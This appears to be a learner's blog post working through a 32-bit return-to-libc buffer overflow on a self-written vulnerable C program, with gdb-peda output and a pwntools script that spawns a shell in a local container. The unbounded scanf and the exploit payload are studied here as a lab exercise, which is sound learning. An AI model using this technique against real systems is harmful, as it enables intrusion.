Do Return to libc due to buffer overflow described in Binary analysis for the first time After reading a book and understanding the atmosphere for studying, practice without looking at the book
# uname -a
Linux 29b342e56b09 4.19.121-linuxkit #1 SMP Tue Dec 1 17:50:32 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
# cat /etc/os-release
NAME="CentOS Linux"
VERSION="7 (Core)"
ID="centos"
ID_LIKE="rhel fedora"
VERSION_ID="7"
PRETTY_NAME="CentOS Linux 7 (Core)"
ANSI_COLOR="0;31"
CPE_NAME="cpe:/o:centos:centos:7"
HOME_URL="https://www.centos.org/"
BUG_REPORT_URL="https://bugs.centos.org/"
CENTOS_MANTISBT_PROJECT="CentOS-7"
CENTOS_MANTISBT_PROJECT_VERSION="7"
REDHAT_SUPPORT_PRODUCT="centos"
REDHAT_SUPPORT_PRODUCT_VERSION="7"
# gcc --version
gcc (GCC) 4.8.5 20150623 (Red Hat 4.8.5-44)
Copyright (C) 2015 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Execute libc system function using buffer overflow and start shell
test.c
#include <stdio.h>
int main() {
system("/bin/sh");
return 0;
}
Compile and run
# gcc -fno-stack-protector -m32 -o test.o test.c
# ./test.o
sh-4.2#
# gdb ./test.o
GNU gdb (GDB) Red Hat Enterprise Linux 7.6.1-120.el7
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-redhat-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /post/c/binaly/_debug/test.o...(no debugging symbols found)...done.
gdb-peda$ b system
Breakpoint 1 at 0x80482e0
gdb-peda$ r
Starting program: /post/c/binaly/_debug/./test.o
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xf7fc8000 --> 0x1c6d88
ECX: 0x94b3c8b3
EDX: 0xffffd7c4 --> 0xf7fc8000 --> 0x1c6d88
ESI: 0x0
EDI: 0x0
EBP: 0xffffd798 --> 0x0
ESP: 0xffffd77c --> 0x8048422 (<main+21>: mov eax,0x0)
EIP: 0xf7e3ffa0 (<system>: push edi)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf7e3ff9c <cancel_handler+220>: pop edi
0xf7e3ff9d <cancel_handler+221>: ret
0xf7e3ff9e: xchg ax,ax
=> 0xf7e3ffa0 <system>: push edi
0xf7e3ffa1 <system+1>: push esi
0xf7e3ffa2 <system+2>: push ebx
0xf7e3ffa3 <system+3>: mov esi,DWORD PTR [esp+0x10]
0xf7e3ffa7 <system+7>: call 0xf7f427b5 <__x86.get_pc_thunk.bx>
[------------------------------------stack-------------------------------------]
0000| 0xffffd77c --> 0x8048422 (<main+21>: mov eax,0x0)
0004| 0xffffd780 --> 0x80484c4 ("/bin/sh")
0008| 0xffffd784 --> 0xc000
0012| 0xffffd788 --> 0x804843b (<__libc_csu_init+11>: add ebx,0x1bc5)
0016| 0xffffd78c --> 0xf7fc8000 --> 0x1c6d88
0020| 0xffffd790 --> 0x8048430 (<__libc_csu_init>: push ebp)
0024| 0xffffd794 --> 0x0
0028| 0xffffd798 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0xf7e3ffa0 in system () from /lib/libc.so.6
Missing separate debuginfos, use: debuginfo-install glibc-2.17-317.el7.i686
result The SP has 4 bytes of the return address from the system function and 4 bytes of the argument address of the system function after it. => In other words, in order to execute the system function, it should be necessary to put an appropriate value and the argument of the system function on the stack. I wonder if it's a stack camouflage
a.c
#include <stdio.h>
void vuln() {
char buf[32];
printf("input\n");
scanf("%[^\n]", buf);
}
int main() {
vuln();
printf("Successful completion\n");
return 0;
}
Compile and run
# gcc -fno-stack-protector -m32 -o a.o a.c
# ./a.o
input
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Successful completion
# ./a.o
input
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
Gather the information you need
address of system function
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e3ffa0 <system>
Memory address and input offset to put the return address to the main function
Return address: 0xffffd77c Input address: 0xffffd750 Offset: 44
Address of the argument to pass to the system function (look for/bin/sh because you want to start a shell)
gdb-peda$ find /bin/sh
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f81115 ("/bin/sh")
exploit.py
from pwn import *
p = process("./a.o")
#offset: 44
#system function address: 0xf7e3ffa0
#Offset for an appropriate address: 4
#system function arguments: 0xf7f81115
p.sendline("A"*44 + "\xa0\xff\xe3\xf7" + "A"*4 + "\x15\x11\xf8\xf7")
p.interactive()
Run
# python3 ./exploit.py
[+] Starting local process './a.o': pid 2455
[*] Switching to interactive mode
input
$ ls
a.c exploit.py peda-session-test.o.txt test.o
a.o peda-session-a.o.txt test.c
$ id
uid=0(root) gid=0(root) groups=0(root)
The shell starts up safely
The book was intended for beginners and was very easy to read and study. I thought gdb was painful, but I knew the existence of gdb-peda and the work went very well. I don't know the reason, but in the executable file compiled to 64bit, the argument of the system function did not get on the stack and could not be completed. I don't know the difference between 64bit and 32bit due to lack of computer knowledge. I hope you will understand it soon!